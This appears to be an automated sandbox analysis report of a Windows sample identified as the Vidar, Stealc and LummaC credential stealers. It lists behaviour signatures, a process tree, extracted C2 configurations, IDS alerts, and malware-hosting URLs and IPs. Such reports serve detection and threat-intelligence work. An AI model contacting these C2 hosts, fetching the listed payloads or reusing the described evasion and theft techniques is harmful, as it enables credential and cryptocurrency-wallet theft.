Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe
Analysis ID:	1511569
MD5:	84b2300ab93eb2fd79533bbfcbbbf593
SHA1:	edcbb41928f68948a00c547411fbd3d6f9c3eddb
SHA256:	b1d00f55f9cc0198600fedd50b25b881dd010f8d027b68e9cfb870314b43022b
Tags:	exeVidar
Infos:

Detection

LummaC, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe (PID: 3652 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe" MD5: 84B2300AB93EB2FD79533BBFCBBBF593)

conhost.exe (PID: 4052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6480 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 420 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

DGHIDAFCGI.exe (PID: 2620 cmdline: "C:\ProgramData\DGHIDAFCGI.exe" MD5: CD6646D9EDDB6ED8900B5BD9DA0597F2)

conhost.exe (PID: 7144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 2632 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 6244 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userCGCFCBAKKF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userCGCFCBAKKF.exe (PID: 5692 cmdline: "C:\Users\userCGCFCBAKKF.exe" MD5: 5831EBCED7B72207603126ED67601C28)

conhost.exe (PID: 3820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3268 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6636 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 2812 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 2528 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 4544 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAAAAKJKJEB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userAAAAKJKJEB.exe (PID: 6500 cmdline: "C:\Users\userAAAAKJKJEB.exe" MD5: 449D3F0970FC9CD91A8F4BEA664A0CD6)

conhost.exe (PID: 5072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7012 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6648 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php"}

Threatname: LummaC

{"C2 url": ["preachstrwnwjw.shop", "commisionipwn.shop", "complainnykso.shop", "charistmatwio.shop", "grassemenwji.shop", "stitchmiscpaew.shop", "ignoracndwko.shop", "basedsymsotp.shop"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199768374681", "https://t.me/edm0d"], "Botnet": "4b4d1b9e209e656d32d6b94f658903b1"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000017.00000002.2856072022.000000000401E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000B.00000002.2850533577.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000002.2837427645.0000000004075000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000001A.00000002.4586314572.0000000000439000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.2910244099.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe PID: 3652	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe PID: 3652	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe PID: 3652	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 420	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 420	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 420	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 420	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: DGHIDAFCGI.exe PID: 2620	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 2632	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 2632	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 2632	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 2632	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.userAAAAKJKJEB.exe.3fe5570.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
20.2.RegAsm.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
20.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe.3c75570.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe.3c75570.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
26.2.RegAsm.exe.400000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe.3c75570.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe.3c75570.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
4.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
4.2.RegAsm.exe.400000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 5 entries

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:36:58.181418+0200	2028765	3	Unknown Traffic	192.168.2.6	49721	159.69.100.83	443	TCP
2024-09-15T19:36:59.314179+0200	2028765	3	Unknown Traffic	192.168.2.6	49723	159.69.100.83	443	TCP
2024-09-15T19:37:00.650870+0200	2028765	3	Unknown Traffic	192.168.2.6	49724	159.69.100.83	443	TCP
2024-09-15T19:37:02.071194+0200	2028765	3	Unknown Traffic	192.168.2.6	49725	159.69.100.83	443	TCP
2024-09-15T19:37:03.402176+0200	2028765	3	Unknown Traffic	192.168.2.6	49726	159.69.100.83	443	TCP
2024-09-15T19:37:04.840167+0200	2028765	3	Unknown Traffic	192.168.2.6	49727	159.69.100.83	443	TCP
2024-09-15T19:37:05.836558+0200	2028765	3	Unknown Traffic	192.168.2.6	49728	159.69.100.83	443	TCP
2024-09-15T19:37:08.842720+0200	2028765	3	Unknown Traffic	192.168.2.6	49729	159.69.100.83	443	TCP
2024-09-15T19:37:10.446700+0200	2028765	3	Unknown Traffic	192.168.2.6	49730	159.69.100.83	443	TCP
2024-09-15T19:37:11.640174+0200	2028765	3	Unknown Traffic	192.168.2.6	49731	159.69.100.83	443	TCP
2024-09-15T19:37:12.733179+0200	2028765	3	Unknown Traffic	192.168.2.6	49732	159.69.100.83	443	TCP
2024-09-15T19:37:14.472127+0200	2028765	3	Unknown Traffic	192.168.2.6	49733	159.69.100.83	443	TCP
2024-09-15T19:37:16.168791+0200	2028765	3	Unknown Traffic	192.168.2.6	49734	159.69.100.83	443	TCP
2024-09-15T19:37:17.721383+0200	2028765	3	Unknown Traffic	192.168.2.6	49736	159.69.100.83	443	TCP
2024-09-15T19:37:19.176983+0200	2028765	3	Unknown Traffic	192.168.2.6	49737	159.69.100.83	443	TCP
2024-09-15T19:37:20.447910+0200	2028765	3	Unknown Traffic	192.168.2.6	49738	159.69.100.83	443	TCP
2024-09-15T19:37:23.394110+0200	2028765	3	Unknown Traffic	192.168.2.6	49739	159.69.100.83	443	TCP
2024-09-15T19:37:24.694703+0200	2028765	3	Unknown Traffic	192.168.2.6	49740	159.69.100.83	443	TCP
2024-09-15T19:37:26.053170+0200	2028765	3	Unknown Traffic	192.168.2.6	49741	159.69.100.83	443	TCP
2024-09-15T19:37:27.425167+0200	2028765	3	Unknown Traffic	192.168.2.6	49742	159.69.100.83	443	TCP
2024-09-15T19:37:29.479602+0200	2028765	3	Unknown Traffic	192.168.2.6	49743	159.69.100.83	443	TCP
2024-09-15T19:37:31.284695+0200	2028765	3	Unknown Traffic	192.168.2.6	49745	159.69.100.83	443	TCP
2024-09-15T19:37:34.018731+0200	2028765	3	Unknown Traffic	192.168.2.6	49747	159.69.100.83	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:46.404363+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49760	188.114.97.3	443	TCP
2024-09-15T19:37:47.835363+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49761	172.67.221.198	443	TCP
2024-09-15T19:37:48.844438+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49762	188.114.96.3	443	TCP
2024-09-15T19:37:49.827217+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49763	188.114.97.3	443	TCP
2024-09-15T19:37:50.846278+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49764	104.21.26.150	443	TCP
2024-09-15T19:37:51.771069+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49765	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:46.404363+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49760	188.114.97.3	443	TCP
2024-09-15T19:37:47.835363+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49761	172.67.221.198	443	TCP
2024-09-15T19:37:48.844438+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49762	188.114.96.3	443	TCP
2024-09-15T19:37:49.827217+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49763	188.114.97.3	443	TCP
2024-09-15T19:37:50.846278+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49764	104.21.26.150	443	TCP
2024-09-15T19:37:51.771069+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49765	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (basedsymsotp .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:46.904345+0200	2055785	1	Domain Observed Used for C2 Detected	192.168.2.6	64217	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (charistmatwio .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:47.876729+0200	2055783	1	Domain Observed Used for C2 Detected	192.168.2.6	64985	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (commisionipwn .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:50.848249+0200	2055775	1	Domain Observed Used for C2 Detected	192.168.2.6	49687	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (complainnykso .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:45.456534+0200	2055787	1	Domain Observed Used for C2 Detected	192.168.2.6	55371	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (grassemenwji .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:48.847064+0200	2055779	1	Domain Observed Used for C2 Detected	192.168.2.6	51352	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (ignoracndwko .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:49.830175+0200	2055777	1	Domain Observed Used for C2 Detected	192.168.2.6	64018	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (preachstrwnwjw .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:45.443446+0200	2055789	1	Domain Observed Used for C2 Detected	192.168.2.6	57008	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (stitchmiscpaew .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:49.843744+0200	2055781	1	Domain Observed Used for C2 Detected	192.168.2.6	64875	1.1.1.1	53	UDP

ET MALWARE Observed Lumma Stealer Related Domain (basedsymsotp .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:47.379855+0200	2055786	1	Domain Observed Used for C2 Detected	192.168.2.6	49761	172.67.221.198	443	TCP

ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:48.384625+0200	2055784	1	Domain Observed Used for C2 Detected	192.168.2.6	49762	188.114.96.3	443	TCP

ET MALWARE Observed Lumma Stealer Related Domain (commisionipwn .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:51.324889+0200	2055776	1	Domain Observed Used for C2 Detected	192.168.2.6	49765	188.114.96.3	443	TCP

ET MALWARE Observed Lumma Stealer Related Domain (complainnykso .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:45.940425+0200	2055788	1	Domain Observed Used for C2 Detected	192.168.2.6	49760	188.114.97.3	443	TCP

ET MALWARE Observed Lumma Stealer Related Domain (grassemenwji .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:49.377110+0200	2055780	1	Domain Observed Used for C2 Detected	192.168.2.6	49763	188.114.97.3	443	TCP

ET MALWARE Observed Lumma Stealer Related Domain (stitchmiscpaew .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:50.356998+0200	2055782	1	Domain Observed Used for C2 Detected	192.168.2.6	49764	104.21.26.150	443	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:35.345542+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.6	49748	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:35.339408+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49748	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:35.523630+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49748	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:36.038569+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49748	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:02.748609+0200	2044247	1	Malware Command and Control Activity Detected	159.69.100.83	443	192.168.2.6	49725	TCP
2024-09-15T19:37:35.530416+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.6	49748	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:04.099559+0200	2051831	1	Malware Command and Control Activity Detected	159.69.100.83	443	192.168.2.6	49726	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:04.099378+0200	2049087	1	A Network Trojan was detected	192.168.2.6	49726	159.69.100.83	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:35.155113+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49748	46.8.231.109	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:36.219049+0200	2803304	3	Unknown Traffic	192.168.2.6	49748	46.8.231.109	80	TCP
2024-09-15T19:37:38.782800+0200	2803304	3	Unknown Traffic	192.168.2.6	49748	46.8.231.109	80	TCP
2024-09-15T19:37:39.528938+0200	2803304	3	Unknown Traffic	192.168.2.6	49748	46.8.231.109	80	TCP
2024-09-15T19:37:40.153322+0200	2803304	3	Unknown Traffic	192.168.2.6	49754	46.8.231.109	80	TCP
2024-09-15T19:37:40.811726+0200	2803304	3	Unknown Traffic	192.168.2.6	49754	46.8.231.109	80	TCP
2024-09-15T19:37:41.453534+0200	2803304	3	Unknown Traffic	192.168.2.6	49756	46.8.231.109	80	TCP
2024-09-15T19:37:42.429612+0200	2803304	3	Unknown Traffic	192.168.2.6	49756	46.8.231.109	80	TCP
2024-09-15T19:37:44.398460+0200	2803304	3	Unknown Traffic	192.168.2.6	49758	147.45.44.104	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:32.942103+0200	2803270	2	Potentially Bad Traffic	192.168.2.6	49746	192.185.139.21	443	TCP
2024-09-15T19:37:35.546754+0200	2803270	2	Potentially Bad Traffic	192.168.2.6	49749	192.185.139.21	443	TCP

ETPRO MALWARE Observed DNS Query to Lumma Domain

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T19:37:53.055959+0200	2857974	1	Domain Observed Used for C2 Detected	192.168.2.6	60911	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://tenntysjuxmz.shop/	URL Reputation: Label: phishing
Source: http://46.8.231.109/c4754d4f680ead72.php	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.phpY	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	Avira URL Cloud: Label: malware
Source: preachstrwnwjw.shop	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll(pV	Avira URL Cloud: Label: malware
Source: https://grassemenwji.shop/api	Avira URL Cloud: Label: malware
Source: https://charistmatwio.shop/api	Avira URL Cloud: Label: malware
Source: https://stitchmiscpaew.shop/D	Avira URL Cloud: Label: malware
Source: stitchmiscpaew.shop	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exe	Avira URL Cloud: Label: malware
Source: https://stitchmiscpaew.shop/2	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	Avira URL Cloud: Label: malware
Source: https://complainnykso.shop/api	Avira URL Cloud: Label: malware
